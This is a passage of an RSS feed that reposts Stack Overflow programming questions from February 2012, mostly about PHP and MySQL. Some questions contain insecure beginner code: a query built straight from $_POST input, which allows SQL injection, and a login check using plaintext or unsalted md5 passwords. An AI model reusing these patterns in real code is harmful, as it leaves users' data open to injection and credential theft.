/>}<br /><br />{<br />    $query = mysql_query("SELECT main_table.matric_no , main_ table.session, <br /> main_table.semester , main_ table.course_name , <br /> (test+exam+practical) AS Total, <br /> students.first_name, students. last_name, students.other_name, students.level<br /><br /> FROM main_table INNER JOIN students ON<br /><br /> main_table.matric_no = students. matric_no<br /> WHERE main_table.matric_no = '$_POST[matric_no]'") or die(mysql_error());<br /><br />    while ($row = mysql_fetch_assoc($query)) {<br /><br />        echo $row["matric_no"];<br />        echo "&lt;br /&gt;";<br /><br />        echo $row["session"];<br />        echo "&lt;br / &gt;";<br /><br />        echo $row["semester"];<br />        echo "&lt;br /&gt;";<br /><br />        echo $row["course_name"];<br />        echo "&lt;br /&gt;";<br /><br />        echo $row["first_name"];<br />        echo "&lt;br /&gt;";<br /><br />        echo $row["last_name"];<br />        echo "&lt;br /&gt;";<br /><br />        echo $row["other_name"];<br />        echo "&lt;br /&gt;";<br /><br />        echo $row["level"];<br />        echo "&lt;br /&gt;";<br /><br />    }<br />}<br />?&gt;<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1183307" rel="nofollow">KanyinsolaOyesanmi</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[nusoap send key/value pairs to MS web service]]></title>
<link>http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/</link>
<comments>http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:31:26 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/nusoap-send-keyvalue-pairs-to-ms-web-service-1/</guid>
<description><![CDATA[<br />            <p>A web service has been written by a third party to link my PHP CMS to a MS Dynamics CRM. This is a web service that I have to use (the default SOAP and REST APIs that come with Dynamics is not something we are allowed to use). I am having difficulties working out how to pass a record of name/value pairs to one of the web service functions.</p><br /><br /><p>We are using nusoap to talk to the web service, as we have more chance of "fixing" the SOAP handling to talk nicely with the MS code, than if we were at the mercy of what SOAP handling PHP provides.</p><br /><br /><p>I don't know much about ASP, but the function in question is defined [roughly] like this:</p><br /><br /><pre><code>public class UserWebservice : System.Web.Services.WebService<br />{<br />    public DataSet UpdateContactAddress(string ContactId, List&lt;KeyValuePair&lt;string, string&gt;&gt; Address)<br />    {<br />        ...<br />    }<br />}<br /></code></pre><br /><br /><p>I can pass in the ContactId, but then have an associative array of address parts ('city'=>'My City' etc) to pass into the Address parameter. I cannot work out how to do that. If I knew what XML the web service was expecting to receive, then I could work backwards from there, but the structure is just an unknown to me.</p><br /><br /><p>The web service developer can only tell me it is "the standard" format, whatever that means.</p><br /><br /><p>In case it helps, this is how the UpdateContactAddress processes the parameter:</p><br /><br /><pre><code>Entity contact = new Entity("contact");<br />contact.Id = new Guid(ContactId);<br />foreach (KeyValuePair&lt;string, string&gt; AddressPart in Address)<br />{<br />    contact[AddressPart.Key] = AddressPart.Value;<br />}<br /></code></pre><br /><br /><p>If there is a better data type to use for the web service to accept a record of name/value pairs, then I could probably argue the case for it to be changed.</p><br /><br /><p>It would be nice to think that using a WSDL means all this "just works", but I accept it won't (PHP&lt;-%gt;MS: haha!) and am building the elements manually in parameters passed to nusoap (nesting soap_val objects and arrays as needed, which works for simple arrays of values).</p><br /><br /><hr><br /><br /><p>Edit:<br><br />Just to add to one of that latter points about changing the datatype, if something like this, assuming it is syntactically correct, will be easier to handle, then I would go along with that:</p><br /><br /><pre><code>KeyValuePair&lt;string, string&gt;[] Address<br /></code></pre><br /><br /><p>i.e. a simple numeric-keyed array of "name-value pairs", which I understand is not as simple as a key/value array element in PHP. Passing in simple arrays to the MS web service works for me, so removing the unknowns is a good move. The problem  here is no debug activity on the MS side - they get the data or they don't, and if they don't, it is my fault for not passing it right but there are no clues what "right" actually is. I'm hoping somebody here has done this and got it working, and can point me in the right direction.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/218208" rel="nofollow">Jason</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Python / MySQL (MySQLdb) - testing the 'insert' function - its not adding rows. Why?]]></title>
<link>http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/</link>
<comments>http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:30:29 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/</guid>
<description><![CDATA[<br />            <p>I'm trying to figure out how to use the MySQLdb library in python (I am novice at best for both of them).</p><br /><br /><p>I'm following the code here: <a href="http://www.kitebird.com/articles/pydbapi.html" rel="nofollow">http://www.kitebird.com/articles/pydbapi.html</a></p><br /><br /><p>Specifically:</p><br /><br /><pre><code>cursor = conn.cursor ()<br />cursor.execute ("DROP TABLE IF EXISTS animal")<br />cursor.execute ("""<br />   CREATE TABLE animal<br />   (<br />     name     CHAR(40),<br />     category CHAR(40)<br />   )<br /> """)<br />cursor.execute ("""<br />   INSERT INTO animal (name, category)<br />   VALUES<br />     ('snake', 'reptile'),<br />     ('frog', 'amphibian'),<br />     ('tuna', 'fish'),<br />     ('racoon', 'mammal')<br /> """)<br />print "Number of rows inserted: %d" % cursor.rowcount<br />cursor.close ()<br />conn.close ()<br /></code></pre><br /><br /><p>I have poked around it, and can get it to create tables or drop tables by changing the basic code, but I can't get it to actually commit the INSERT. It returns the row.count value as expected (even when I change the value table, it changes to what I expect it to be). </p><br /><br /><p>Everytime I look into the db (via PHPMyAdmin) there are no inserts made. </p><br /><br /><p>Can anyone point me in the right direction? </p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1191626" rel="nofollow">Jay Gattuso</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[blue programming language]]></title>
<link>http://www.globberstack.com/Questions/blue-programming-language-1/</link>
<comments>http://www.globberstack.com/Questions/blue-programming-language-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:29:39 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/blue-programming-language-1/</guid>
<description><![CDATA[what are the syntax command for blue programming language? <br />kindly give me some sample program for leap year using blue programming language.?<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Escaping PHP string]]></title>
<link>http://www.globberstack.com/Questions/escaping-php-string-1/</link>
<comments>http://www.globberstack.com/Questions/escaping-php-string-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:29:28 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/escaping-php-string-1/</guid>
<description><![CDATA[<br />            <p>I'm trying to add a php session into the content as shown below, but it's just showing an empty page. I'm sure the escaping is not correct.</p><br /><br /><pre><code>echo "&lt;meta http-equiv=\"refresh\" content=\"0;URL=$_SESSION['name'];\"&gt;";<br /></code></pre><br /><br /><p>Here's what I'm trying to achieve.</p><br /><br /><pre><code>$_SESSION['name'] = 'somepage.php'<br /></code></pre><br /><br /><p>And I want to add the session into the url so it redirects to 'somepage'.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/136731" rel="nofollow">Helen Neely</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Simple join not working]]></title>
<link>http://www.globberstack.com/Questions/simple-join-not-working-1/</link>
<comments>http://www.globberstack.com/Questions/simple-join-not-working-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:25:26 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/simple-join-not-working-1/</guid>
<description><![CDATA[<br />            <p>My join doesnt appear to work, can anyone think why? I'm getting null from the database.</p><br /><br /><p>Thanks!</p><br /><br /><pre><code>$db-&gt;query("SELECT stockists.name FROM stockists INNER JOIN shops ON stockists.name = shops.type");<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1013512" rel="nofollow">user1013512</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[showing rows if sub queries join columns if they exist]]></title>
<link>http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/</link>
<comments>http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:24:25 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/showing-rows-if-sub-queries-join-columns-if-they-exist-1/</guid>
<description><![CDATA[<br />            <p>I want to only return a row if either of the subquery returns a field.</p><br /><br /><pre><code>SELECT upd8r_user_accts.id, (<br /><br />SELECT fb_id<br />FROM upd8r_facebook_accts<br />WHERE user_id = upd8r_user_accts.id<br />) as facebook, (<br /><br />SELECT twitter<br />FROM upd8r_twitter_accts<br />WHERE user_id = upd8r_user_accts.id<br />) as twitter<br />FROM  `upd8r_user_accts` <br /></code></pre><br /><br /><p>also i am returning id/access token values for each of the subqueries- how could i return a boolean value of yes or no?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/451131" rel="nofollow">Chris Mccabe</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Recover my database structure from from files]]></title>
<link>http://www.globberstack.com/Questions/recover-my-database-structure-from-from-files-1/</link>
<comments>http://www.globberstack.com/Questions/recover-my-database-structure-from-from-files-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:24:03 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/recover-my-database-structure-from-from-files-1/</guid>
<description><![CDATA[<br />            <p>It was my habit to uninstall easyphp without losing my database...But this time, I've uninstalled my easyphp and re-installed it again, but when I tried to view my database, I see that all tables have been lost.</p><br /><br /><p>Actually, my tables are all empty, because I've just finished the database conception and I did not yet begun the project online.</p><br /><br /><p>But the tables are about 40 table, and I don't want to recreate them again.</p><br /><br /><p>so I've viewed my mysql directory, and I see that *.frm files with the names of my tables.</p><br /><br /><p>How can I recover my tables structure (not data) from those *.frm files? </p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/519521" rel="nofollow">Simo TAQI</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Conditional sql WHERE clause based on column values]]></title>
<link>http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/</link>
<comments>http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:22:56 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/</guid>
<description><![CDATA[<br />            <p>I have a table that stores users. Every user has an <code>ID</code>, a <code>Name</code> and an <code>Access Level</code>. The three possible <code>Access Levels</code> are <code>Administrator</code>, <code>Manager</code> and <code>Simple User</code>. </p><br /><br /><p>What I want is to conditionally select from this table based on the <code>Access Level</code> value. I demonstrate the logic bellow:</p><br /><br /><ol><br /><li>If user is <code>Administrator</code>, then select all users (<code>Administrators, Managers, Simple Users</code>)</li><br /><li>Else if user is <code>Manager</code> select all <code>Managers</code> and all <code>Simple Users</code></li><br /><li>Else if user is <code>Simple User</code> select only himself</li><br /></ol><br /><br /><p>Is that possible?</p><br /><br /><p>Thanks in advance.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1194545" rel="nofollow">Theodore</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[PHP not finding function declared in required file]]></title>
<link>http://www.globberstack.com/Questions/php-not-finding-function-declared-in-required-file-1/</link>
<comments>http://www.globberstack.com/Questions/php-not-finding-function-declared-in-required-file-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:22:53 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/php-not-finding-function-declared-in-required-file-1/</guid>
<description><![CDATA[<br />            <p>Recently downloaded some code for a minor open-source project related to a small webgame I play.  Trying to access it fails and spits out an error message of:</p><br /><br /><blockquote><br />  <p>PHP Fatal error:  Call to undefined function v() in /Applications/MAMP/htdocs/infocenter/modules/security_mod.php on line 7</p><br /></blockquote><br /><br /><p>After searching, I found that the function v() is defined in a file called "system.php" which is required by a file which is required by a file which is required by the "security_mod.php" file that the error occurs in.  No errors occur with any of the require calls (and they're all 'require_once', not an 'include').</p><br /><br /><p>This is the whole of the system.php file:</p><br /><br /><pre><code>&lt;?php<br />function v($a, $i)<br />{<br />    return isset($a[$i]) ? $a[$i] : null;<br />}<br />?&gt;<br /></code></pre><br /><br /><p>This is the function in 'security_mod.php' that throws the error (also including the require calls):</p><br /><br /><pre><code>&lt;?php<br />require_once("settings_mod.php");<br />require_once("account_mod.php");//this file requires base_mod.php, which requires system.php<br /><br />class SecurityMod {<br />    public static function checkLogin() {<br />        $name = v($_REQUEST, "acc");//this is the line that causes the error<br />        $password = v($_REQUEST, "pwd");<br />        if (!isset($name) || !isset($password)) {<br />            return null;<br />        }<br />        $acc = AccountMod::getAccount($name);<br />        if (SettingsMod::USE_ENCRYPTED_PASSWORDS) {<br />            if (is_null($acc) || $acc-&gt;getPassword() != md5($password)) {<br />                return null;<br />            } else<br />                return $acc;<br />        } else {<br />            if (is_null($acc) || $acc-&gt;getPassword() != $password) {<br />                return null;<br />            } else<br />                return $acc;<br />        }<br />    }<br />?&gt;<br /></code></pre><br /><br /><p>I did a little testing, and found out that I can access variables and functions in some of the other required files.  All of those are in classes, though, unlike v().  Would that be the reason?</p><br /><br /><p>EDIT to clarify how 'system.php' is required:<br />'security_mod.php' has these two <code>require_once</code> calls at the beginning of the file:</p><br /><br /><pre><code>require_once("settings_mod.php");<br />require_once("account_mod.php");<br /></code></pre><br /><br /><p>'settings_mod.php' is a file containing constants used through the program, and includes no files.<br />'account_mod.php' has these two <code>require_once</code> calls:</p><br /><br /><pre><code>require_once("base_mod.php");<br />require_once("account.php");<br /></code></pre><br /><br /><p>'account.php' has a pair of <code>include_once</code> calls that include inconsequential and unrelated files.<br />'base_mod.php' is the file with the ultimate requirement for 'system.php':</p><br /><br /><pre><code>require_once("system.php");<br />require_once("settings_mod.php");<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1185316" rel="nofollow">Angle O'Saxon</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[I need to build a FilePath in PHP...]]></title>
<link>http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/</link>
<comments>http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/</comments>
<pubDate>Tue, 07 Feb 2012 09:22:36 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/i-need-to-build-a-filepath-in-php---1/</guid>
<description><![CDATA[As you may have read, I am guilty of PHP naiviety! Can someone help me? I need to build $filename which will comprise of 2 literal values and 2 variables - viz: "./images/" ... followed by 2 variables passed into and picked up by using GET in the...<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Javascript Help?]]></title>
<link>http://www.globberstack.com/Questions/javascript-help-4/</link>
<comments>http://www.globberstack.com/Questions/javascript-help-4/</comments>
<pubDate>Tue, 07 Feb 2012 09:22:31 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/javascript-help-4/</guid>
<description><![CDATA[I am working on an assignment case for a beginning javascript class.  I am currently stuck on the second to last problem.  My professor has assigned us a very technical book that gives little to no help at all.  Could someone show me what I need to...<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[How to open local files via firefox]]></title>
<link>http://www.globberstack.com/Questions/how-to-open-local-files-via-firefox-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-open-local-files-via-firefox-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:21:53 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-open-local-files-via-firefox-1/</guid>
<description><![CDATA[<br />            <p>I am having a php project in which I am basically dynamically creating hyperlinks to files existing on the local drive for eg c:/vikram/htc.doc . I created a basic html file and added the usual hyperlinks with the code as </p><br /><br /><p>hello </p><br /><br /><p>But whenever I launch this page in firefox, there is no response. It doesnt show an error message neither does it launch the file. When I checked the error console on firefox it reads.</p><br /><br /><p>Security Error: Content at <a href="http://localhost/PhpProject1/newhtml1.html" rel="nofollow">http://localhost/PhpProject1/newhtml1.html</a> may not load or link to file:///C:/vikram/htc.doc.</p><br /><br /><p>Even after implementing all their suggestions still firefox isnt allowing the file to be launched.</p><br /><br /><p>If anyone can please suggest me a way to work around this security feature or suggest another browser which allows this(I have tried IE too and it doesnt work there as well).<br />Since the php project is being launch via my xampp control of apache its redirected under localhost is there any way to work with this functionality.<br />PLease Help.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1193840" rel="nofollow">Vikram Nair</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Constructor-Injection when extending a class]]></title>
<link>http://www.globberstack.com/Questions/constructor-injection-when-extending-a-class-1/</link>
<comments>http://www.globberstack.com/Questions/constructor-injection-when-extending-a-class-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:20:47 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/constructor-injection-when-extending-a-class-1/</guid>
<description><![CDATA[<br />            <p>This question is not strictly related to Symfony 2, but as I use Symfony 2 components and will later likely use a Symfony\Component\DependencyInjection\Container as DI-Container, it might be relevant.</p><br /><br /><p>I am currently building a small library using components from Symfony 2, e.g. HttpFoundation, Validator, Yaml. My Domain Services are all extending a basic AbstractService providing nothing but Doctrine\ORM\EntityManager and Symfony\Component\Validator\Validator via Constructor-Injection like this:</p><br /><br /><pre><code>abstract class AbstractService<br />{<br />    protected $em;<br /><br />    protected $validator;<br /><br />    /**<br />     * @param Doctrine\ORM\EntityManager $em<br />     * @param Symfony\Component\Validator\Validator $validator<br />     */<br />    public function __construct(EntityManager $em, Validator $validator)<br />    {<br />        $this-&gt;em = $em;<br />        $this-&gt;validator = $validator;<br />    }<br />}<br /></code></pre><br /><br /><p>A Service-class extending this AbstractService may now need to inject additonal components, like Symfony\Component\HttpFoundation\Session. As of I do it like this:</p><br /><br /><pre><code>class MyService extends AbstractService<br />{<br />    /**<br />     * @var Symfony\Component\HttpFoundation\Session<br />     */<br />    protected $session;<br /><br />    /**<br />     * @param Symfony\Component\HttpFoundation\Session $session<br />     * @param Doctrine\ORM\EntityManager $em<br />     * @param Symfony\Component\Validator\Validator $validator<br />     */<br />    public function __construct(Session $session, EntityManager $em, Validator $validator)<br />    {<br />        parent::__construct($em, $validator);<br />        $this-&gt;session = $session;<br />    }<br />}<br /></code></pre><br /><br /><p>Is there a more elegant way to solve this without having to reiterate the parent's constructor arguments, e.g. by using Setter-Injection for Session instead?</p><br /><br /><p>As I see it, when I use Setter-Injection for Session, I have to add checks before accessing it in my methods, whether it is already injected, which I want to avoid. On the other hand I don't want to "repeat" injecting the basic components shared by all services.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1166880" rel="nofollow">mahok</a> on Stack Overflow<br/><br/>0 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[what will be the simple mysql query for this]]></title>
<link>http://www.globberstack.com/Questions/what-will-be-the-simple-mysql-query-for-this-1/</link>
<comments>http://www.globberstack.com/Questions/what-will-be-the-simple-mysql-query-for-this-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:20:19 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/what-will-be-the-simple-mysql-query-for-this-1/</guid>
<description><![CDATA[<br />            <p>I want to get the customer info where customer id should be 2 and the log_id should be maximum value<br />i tried below query but it is fetching first record found.</p><br /><br /><p>What will be the simple query</p><br /><br /><pre><code>mysql&gt; select * from log_customer where customer_id =2 group by customer_id having max(log_id);<br />+--------+------------+-------------+---------------------+-----------+----------+<br />| log_id | visitor_id | customer_id | login_at            | logout_at | store_id |<br />+--------+------------+-------------+---------------------+-----------+----------+<br />|      2 |         56 |           2 | 2010-02-19 19:34:45 | NULL      |        1 | <br />+--------+------------+-------------+---------------------+-----------+----------+<br />1 row in set (0.00 sec)<br /><br />mysql&gt; select * from log_customer where customer_id =2 limit 5;<br />+--------+------------+-------------+---------------------+---------------------+----------+<br />| log_id | visitor_id | customer_id | login_at            | logout_at           | store_id |<br />+--------+------------+-------------+---------------------+---------------------+----------+<br />|      2 |         56 |           2 | 2010-02-19 19:34:45 | NULL                |        1 | <br />|      3 |        114 |           2 | 2010-02-23 17:31:55 | NULL                |        1 | <br />|     31 |       1854 |           2 | 2010-03-08 18:31:28 | 2010-03-08 18:56:49 |        1 | <br />|     32 |       1992 |           2 | 2010-03-09 01:12:43 | NULL                |        1 | <br />|     33 |       2304 |           2 | 2010-03-09 14:42:39 | NULL                |        1 | <br />+--------+------------+-------------+---------------------+---------------------+----------+<br /></code></pre><br /><br /><p><strong>Please do not suggest</strong> <code>order by log_id desc</code> I don't want to get in this way</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/472375" rel="nofollow">Click</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[How to install PHPEclipse]]></title>
<link>http://www.globberstack.com/Questions/how-to-install-phpeclipse-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-install-phpeclipse-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:18:46 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-install-phpeclipse-1/</guid>
<description><![CDATA[<br />            <p>I installed Eclipse 3.7.1 on Windows 7, and followed this <a href="http://www.phpeclipse.com/wiki/Installation" rel="nofollow">guide</a>.</p><br /><br /><p>The error that eclipse shows is:</p><br /><br /><blockquote><br />  <p>Unable to read repository at<br />  <a href="http://update.phpeclipse.com/update/stable/1.2.x" rel="nofollow">http://update.phpeclipse.com/update/stable/1.2.x</a>. Unable to read<br />  repository at <a href="http://update.phpeclipse.com/update/stable/1.2.x" rel="nofollow">http://update.phpeclipse.com/update/stable/1.2.x</a>.<br />  <a href="http://update.phpeclipse.com/update/stable/1.2.x" rel="nofollow">http://update.phpeclipse.com/update/stable/1.2.x</a> is not a valid<br />  repository location.</p><br /></blockquote><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/459691" rel="nofollow">Dejan</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[browscap in Debian/Linux server]]></title>
<link>http://www.globberstack.com/Questions/browscap-in-debianlinux-server-1/</link>
<comments>http://www.globberstack.com/Questions/browscap-in-debianlinux-server-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:17:44 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/browscap-in-debianlinux-server-1/</guid>
<description><![CDATA[<br />            <p>I manage to run a browcap.php with php_browscap.ini on my local server. The problem is when i run it on the linux server it does not generate the desired out put. for example:</p><br /><br /><pre><code>    &lt;?php<br /><br />    $bc = new Browscap('cache');<br />    // Gets information about the current browser's user agent<br />    $current_browser = $bc-&gt;getBrowser();<br />    // Output the result<br />    echo '&lt;pre&gt;'; // some formatting issues ;)<br />    print_r($current_browser);<br />    echo '&lt;/pre&gt;';<br />    ?&gt;<br /></code></pre><br /><br /><p>must generate this, if you are using Firefox:</p><br /><br /><pre><code>    stdClass Object<br />(<br />[browser_name] =&gt; Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1<br />[browser_name_regex] =&gt; ^mozilla/5\.0 \(.*windows nt 6\.1.*wow64.*rv\:.*\) gecko/.* firefox/9\..*$<br />[browser_name_pattern] =&gt; Mozilla/5.0 (*Windows NT 6.1*WOW64*rv:*) Gecko/* Firefox/9.*<br />[Parent] =&gt; Firefox 9.0<br />[Platform] =&gt; Win7<br />[Win32] =&gt; <br />[Win64] =&gt; 1<br />[Browser] =&gt; Firefox<br />[Version] =&gt; 9.0<br />[MajorVer] =&gt; 9<br />[Frames] =&gt; 1<br />[IFrames] =&gt; 1<br />[Tables] =&gt; 1<br />[Cookies] =&gt; 1<br />[JavaScript] =&gt; 1<br />[JavaApplets] =&gt; 1<br />[CssVersion] =&gt; 3<br />[MinorVer] =&gt; 0<br />[Alpha] =&gt; <br />[Beta] =&gt; <br />[Win16] =&gt; <br />[BackgroundSounds] =&gt; <br />[VBScript] =&gt; <br />[ActiveXControls] =&gt; <br />[isBanned] =&gt; <br />[isMobileDevice] =&gt; <br />[isSyndicationReader] =&gt; <br />[Crawler] =&gt; <br />[AolVersion] =&gt; 0<br />)<br /></code></pre><br /><br /><p>I know its not with, the code because it runs flawlessly on my local server. Their might be a problem on the linux server but i don't know what it is. </p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1192707" rel="nofollow">tomexsans</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[What fomian creator do you use]]></title>
<link>http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/</link>
<comments>http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:17:36 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/</guid>
<description><![CDATA[I'm new to this forum an I'm 13. I do a lot of HTML codes on notepad to create my sites design and logos. I use go daddy most of the time but I want to know what you guys use so I can have more of them to try.<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[where do I include wp_head() in wordpress plugins?]]></title>
<link>http://www.globberstack.com/Questions/where-do-i-include-wp-head-in-wordpress-plugins-1/</link>
<comments>http://www.globberstack.com/Questions/where-do-i-include-wp-head-in-wordpress-plugins-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:17:26 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/where-do-i-include-wp-head-in-wordpress-plugins-1/</guid>
<description><![CDATA[<br />            <p>I have this javascript code that I am including in my plugin using <code>wp_enqueue_script()</code> finction. Some forks told me that i need to add <code>wp_head()</code> for it to work... So where can I add it? Or is there any other solution that I can make this javascript file work in the plugin?<br />thanks.</p><br /><br /><p>code is here.</p><br /><br /><pre><code>&lt;?php<br />/*<br />Plugin Name: WP Test Plugin.<br />Plugin URI: http://wplugins.com<br />Description: A plugin that test javascript.<br />Author: Ronny Kibet.<br />Author URI: http://wplugins.com<br />Version: 1.0<br /> */<br /><br /> //globals<br /><br /> $floating_options = get_option('floating_settings');<br /><br /> //enable settings.<br /><br />function popupthis() {<br />$src = plugins_url('/includes/links.js', __FILE__);<br />wp_register_script( 'links', $src );<br />wp_enqueue_script( 'links' );<br />wp_enqueue_script( 'jquery' );<br /><br />}<br />add_action('wp_enqueue_scripts','popupthis');<br />?&gt;<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1133106" rel="nofollow">Ronny</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Erlang Mysql Source Command]]></title>
<link>http://www.globberstack.com/Questions/erlang-mysql-source-command-1/</link>
<comments>http://www.globberstack.com/Questions/erlang-mysql-source-command-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:16:27 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/erlang-mysql-source-command-1/</guid>
<description><![CDATA[<br />            <p>I am using erlang odbc module to connect to mysql and it is working fine for almost all my commands like <em>insert,delete,create,use,drop</em> . But here i need to use the <em>source</em> command to load a file which contain all the commands like create and use database and create some 10 tables... but when i use it like <code>odbc:sql_query(Database_Connection,"source filename")</code> i am getting error and getting disconnected. The file is present in the current directory, i tried giving both the absolute and relative path to the file. PLease do suggest how to use the source command in erlang odbc.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/703561" rel="nofollow">satya</a> on Stack Overflow<br/><br/>1 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Create Advanced Reporting - Moodle]]></title>
<link>http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/</link>
<comments>http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/</comments>
<pubDate>Tue, 07 Feb 2012 09:16:04 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/</guid>
